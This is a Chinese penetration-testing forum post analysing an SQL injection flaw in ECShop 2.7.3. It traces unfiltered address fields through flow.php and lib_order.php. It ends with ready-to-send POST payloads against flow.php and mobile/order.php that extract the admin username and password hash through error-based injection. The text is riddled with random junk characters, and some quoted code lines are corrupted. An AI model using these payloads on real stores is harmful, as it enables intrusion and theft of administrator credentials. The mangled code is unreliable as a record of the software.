中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。2 s# }, u6 z5 l% o2 S) m8 u2 h
0 ~* ^$ P6 m0 D5 u; e9 P6 {2 H
    漏洞关键文件:
$ W6 r: c5 k/ w. K# j% ^* E! l: B+ o0 D: i0 d5 J; ?
    /includes/lib_order.php
" d& {( t, {  S7 v; _
/ l$ ~4 H7 i# @5 h7 D% P    关键函数:0 s+ ?  c  F' u

* U! x9 l$ M9 b! I9 a( X1 }* p 5 W( J# q* T* q  N- c9 Z- }+ M
( Y9 m  n3 ~6 }
01     function available_shipping_list($region_id_list) - G. [. H7 o, P! f

. W6 s2 ]; r  |$ \7 }# q5 d02 {
2 A" K6 i1 e1 t. H# V7 J/ d& c: M' L" L; p: B
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
$ _: d+ C8 E( \. }( ?1 G  }- q7 z- S. q% t$ s( l' E) U8 S0 ?
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 4 p: K: A) U" p7 h% [' Q" i# M

% Y- k) |% k; s, P; D05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
) T2 Q( g: j* X/ W5 c  U, H- W- N7 K- \
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
, w6 }) {' T2 U2 l% a; l8 e
2 D2 s5 k) n  p- c$ \07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 6 i9 M  Z4 [5 _

& d( z$ g( ?, `8 E08             'WHERE r.region_id ' . db_create_in($region_id_list) .
7 P$ c3 h9 I1 e
& l& C' i0 C- ]( Y3 k) Y  v09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ( F9 p! v: ?9 M0 E' u( x

. ~1 [5 b8 M" f1 E- e& r10   $ a: v& F1 k! c/ F
  T5 W$ d: c2 [, v$ U
11     return $GLOBALS['db']->getAll($sql); 5 N2 L3 v; {; n- l% S% L
5 Y8 o% m( o& w! t0 A
12 } & h3 k5 C3 r4 s3 L
0 m& g$ M% L* a, l6 L8 ~
显然对传入的参数没有任何过滤就带入了查询语句。
4 k" n) d7 F8 P5 ]/ ] * N. Y, S# W# c& H0 v# z1 P
下面我们追踪这个函数在flow.php中:1 q! E+ n4 Q" ~
第531行:   
) x$ C  d- n* i% {" x
. j0 G% c: M; d; C  O) d' h1 $shipping_list     = available_shipping_list($region); $ K, g# {  o6 g& w8 t. ]

' p* R9 [. Z8 g
7 S; T0 L1 G9 U
; |$ B  g. R, [# V8 O( g' y # @$ k; V2 j) [5 A

9 t5 Z) t. F& F# P4 u0 Y再对传入变量进行追踪:: A4 C  X8 R& V; m3 y9 E

7 T+ q& G# C- i3 l( m) k3 z第530行:   
0 Y, z8 t) T# i: [% A* W/ K6 `
& r: q1 G+ ^+ \% _: {9 M% `. R1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
* |- Q3 h+ ~* q" T5 [; q8 B* [4 K5 Q. G8 W$ b* P# S! g, Q
% W" f4 _2 ?; j9 W+ G, \4 z4 @( v1 i
# ^" @$ I! }0 B/ S6 Z
1 D" B% I6 x8 @0 O! u

- F4 B5 B  l1 V1 x3 a# j( o第473行:        
. [/ j  H: N( _* p. n; c, J5 Z7 J1 z1 k8 F8 q5 U7 y
1 $consignee = get_consignee($_SESSION['user_id']);
7 h3 s9 K4 G$ D  D5 T, p" Z: ~* ?
到了一个关键函数:
1 E* f/ }% `' c5 b( @& H( o" y6 R6 r7 A( G
/includes/lib_order.php
( t1 j/ w, Z3 }+ b. `% L4 b( g% J8 ~4 k
9 ]7 d5 j. U) t) o

& R& l; K' p" q6 R
( p: g7 \0 ]( E& }) n4 j& p$ H* [- O* \% l; j2 J! q; S
01 function get_consignee($user_id)
* _2 P& }. O! y* x6 \+ u9 |- @: d$ F7 q
02 { 8 ?6 i  P1 V$ u# s0 q; C' G* i

2 I! t9 W: z9 h0 l03     if (isset($_SESSION['flow_consignee'])) ! z: V. w" a4 }% @# X
. F# h* V, {9 T5 ^8 h% R
04     { + c. j! f: N( Q! s6 y) K7 k+ t; e

7 [' l# ?  l2 J5 l6 T) ^+ l05         /* 如果存在session,则直接返回session中的收货人信息 */
  a8 V% h+ D9 B# @0 T
) j+ ^' r: Y' @( G06   - b  t$ X' m8 t
7 P5 [1 X2 a9 U5 e3 C8 L+ L
07         return $_SESSION['flow_consignee'];
0 `7 F$ H' L0 p
: d9 n$ A( ^0 D: Z08     }
% G1 ?7 z4 e  M: W/ I# A( F$ O  ]4 b: M1 K- V+ Q( T
09     else
8 B4 f5 v/ f7 X7 ?* `( h) T5 y0 b- M$ A) B6 \) F& V/ a
10     { 2 y( H: d7 u- C

+ S( l/ w: |; {6 B6 o# P11         /* 如果不存在,则取得用户的默认收货人信息 */
, f3 u5 U3 u( ^( x
& E, ]9 g) b, Q0 {  f12         $arr = array();
! S- a, P5 m& H$ q' C; v
7 z" W" j7 B6 j* w1 o13   
/ A) ?9 H& i% f0 s8 R# N: I9 a" d" ^* Q! c
14         if ($user_id > 0)
3 |. ~- v4 P  J8 |5 u! w
& K* Q! Z3 f2 H, R* Q! m15         { " Q8 x8 I, Q6 D
; S; k- J& D+ A# p6 ~9 l- G% \4 K
16             /* 取默认地址 */ & B4 s# B. a3 X

3 }) g  c" Y8 y! r17             $sql = "SELECT ua.*". * G5 J* @' s) \; m' b4 P+ `
* w- i1 i, i3 Z: }% Z
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
4 B; H& F4 U9 d/ O- n9 O/ W# h% o8 A( `2 Q! ]- `. b9 O4 D  |5 X
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 8 n- x2 e( R+ K3 r3 h( ?& y
3 R3 W4 a5 s# U$ ~  l+ y
20   
9 ~# g! ^7 l) \4 p/ f- [# G% T+ @/ D  M" w4 M
21             $arr = $GLOBALS['db']->getRow($sql);
0 l1 j$ t0 u1 ~. C; r' D
5 x; p, M. h# d22         } ) }4 x, {! ?; A; k, \* W: Y

. r  U% I8 Q" a2 }4 G, t$ ^23   - i1 q! t, o2 B* b: `

' E4 j6 d$ j: _2 X( |24         return $arr; 2 [7 R# k3 i- h4 r3 ^5 H
& C- _- M7 v$ E* F0 I! d2 X* i
25     } ) d" o. ~. U  T' f) k$ V. f

" N  ]+ c! L" ?6 p8 t, X, Q26 } + H8 [1 H' E1 V; k: ]
2 p& m; a$ e3 e2 V
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
" g' Y$ V! ?) P* m! j) h/ _( h( I& j- `5 Q3 N$ p, P

' ~: m8 E: n; S) c+ _. O! @+ T$ s9 g) t1 u
关键点:
+ H$ X) X) c# ?6 W' j" `4 l1 {( l, K. `
: C* Q- ?8 Q5 H6 z! Q  t3 ~第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: A- M" d/ L/ Z7 c, p* o1 i+ ~

* Y! F5 c( d/ B3 _- `这里对传入参数反转义存入$_SESSION中。
* o& C9 ^4 Z( r7 z4 D0 O* G3 T. F( J+ F: e3 c, j# L) _
1 I9 j9 i3 ^" B9 s

) l2 ]4 j% m/ m然后看下:
: x2 M6 E3 _0 D0 N3 D2 f
0 i( k. F! N% a7 @3 s' h. i; O7 J
' o+ g  {, u* g/ l% ^! M/ s. E" h+ p% S
    3 Q5 d! Q, s1 g; f" F% C9 }

4 o$ @/ J3 g' a* _) ?0 b$ p# V( J01 $consignee = array( * k) u0 Z- |  I; M- f4 A1 L

. Y. L% d, k7 U  x5 u02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
" l% {( J( X9 {" [) w3 s1 {) i- y! i/ Y8 G! f5 G. A
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ; ?  E0 M' M# \1 V) k
9 w0 z, D. i: g/ q+ j8 [# |' B! I6 E: w
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], : Y7 V3 X; {8 V7 _9 P( a( M& J" e

6 O; k# y6 e# o5 A- @05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
6 H1 V5 x2 k6 z8 R* I  f3 y' E0 V5 E
/ ]9 P# B7 h) J$ s; a4 j( ?( O06         'city'          => empty($_POST['city'])       ? '' _POST['city'], $ T% C. q* R4 _+ `( X6 ~+ b# {

- N/ Y) P5 H/ N5 q$ V' v2 D7 p07         'district'      => empty($_POST['district'])   ? '' _POST['district'], - F- a+ W4 |0 j  g# A
. o( C# ]/ j: q* \; _+ M
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 7 y* [( T1 J/ b! `2 w- `3 W
1 N- L2 z- |$ R6 T' Q" l
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], & @+ B; R& d- \% @" j! y- o

  x% L* B7 @! L9 d' x6 X10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
- x' M6 D, D( k4 B$ y# _" q1 O
) w# U. N2 S- q8 _11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), # @* @# t' D; m7 N$ F% h; g

8 \8 W" S/ G) Q7 z12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 1 T+ H& q" i: |) e" y) Z
+ [0 C& u7 B5 Q
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 ?' l2 o: Q  j" S$ ]

1 X! \8 @) T8 ^: X/ c, _14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], . F4 T  N3 y9 E3 R

7 e# V4 I( E1 n- O! c# }, d15     );
. d' v& S( O% v; r) S' i! S# O# L, v  x, m% C
好了注入就这样出现了。4 Z  C$ U1 |1 @* q/ L
, I/ T! a7 x9 s
==================$ z& w* G, f9 m8 K# ?5 B: q
& v# T, O  y9 `; ^1 W
注入测试:
0 ^& E( C9 t0 N0 H# m
9 J$ G! N8 {; J9 k- k6 m环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, ^3 c" L* D( V7 @
5 X$ `- w' U7 K/ S! G测试程序:ECShop_V2.7.3_UTF8_release1106
! H. _1 C# U! X" N/ d) w
" s9 T* D3 c7 o/ R
; n# L% e/ ?- I2 [( `7 f& j
& X9 Y2 T  ]! D1.首先需要点击一个商品加入购物车
/ X/ t% p$ E" z/ [5 H* G: r
4 f1 j4 R5 R+ g4 m2.注册一个会员帐号0 t: I5 y) w# O/ @

2 L1 Z  q& q& C; Z; _' c7 L/ j3.post提交数据8 ~/ W4 \/ c+ p
" F8 h& s: D: o' l

. i2 t) O5 m+ ^" M; l$ `' ~/ [* H9 ]# G; G% c8 F8 Q9 ]. _
1 http://127.0.0.1/ecshop/flow.php
" D! _4 J. B* D6 ?3 L' D6 l: W; E+ n6 X$ L/ A. x/ ]0 ^
2   ! z7 n$ C& ~7 f4 L+ t

6 K) E- K) s& o; i/ r) q3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
4 l- Q( [2 r% M' M1 b举一反三,我们根据这个漏洞我们可以继续深入挖掘:
8 ?5 E( D8 E4 E4 ?8 S/ W  O5 U) }, C8 I5 x2 X1 U2 C
我们搜寻关键函数function available_shipping_list()
1 k; v4 Q+ g5 D2 b
4 B' p- _% v) n+ F在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
9 q/ w  S) T$ Z# W, p9 @+ c. C; W2 o9 [/ L! F' `3 O. b
利用exp:
( c* h+ s. V! J0 w+ h
: X. x* C6 S1 C4 w, \+ Q+ h3 U1.点击一个商品,点击购买商标) W" n: c, t) m3 t/ F+ X0 i9 z
# }& w5 x. ]! D3 f( S" }
2.登录会员帐号
0 h+ F( |8 D7 l9 g! h, w* ]* E; S- W5 V( j9 l, y; s- V
3.post提交:- ?7 b2 P5 {7 w1 \3 n
6 W$ R: }) R8 F0 R8 h
http://127.0.0.1/ecshop/mobile/order.php7 ]: B" \5 |" F; P8 j7 m, f3 M

* @& ^, u* G7 o$ d) Q+ B
+ l+ z. L. B5 k  X
" ~. \6 E$ a4 Z# w/ jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=" b9 V9 G/ o4 ~  Q

& M2 E# q1 f9 L- R' c9 [, ?( e  x; N




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2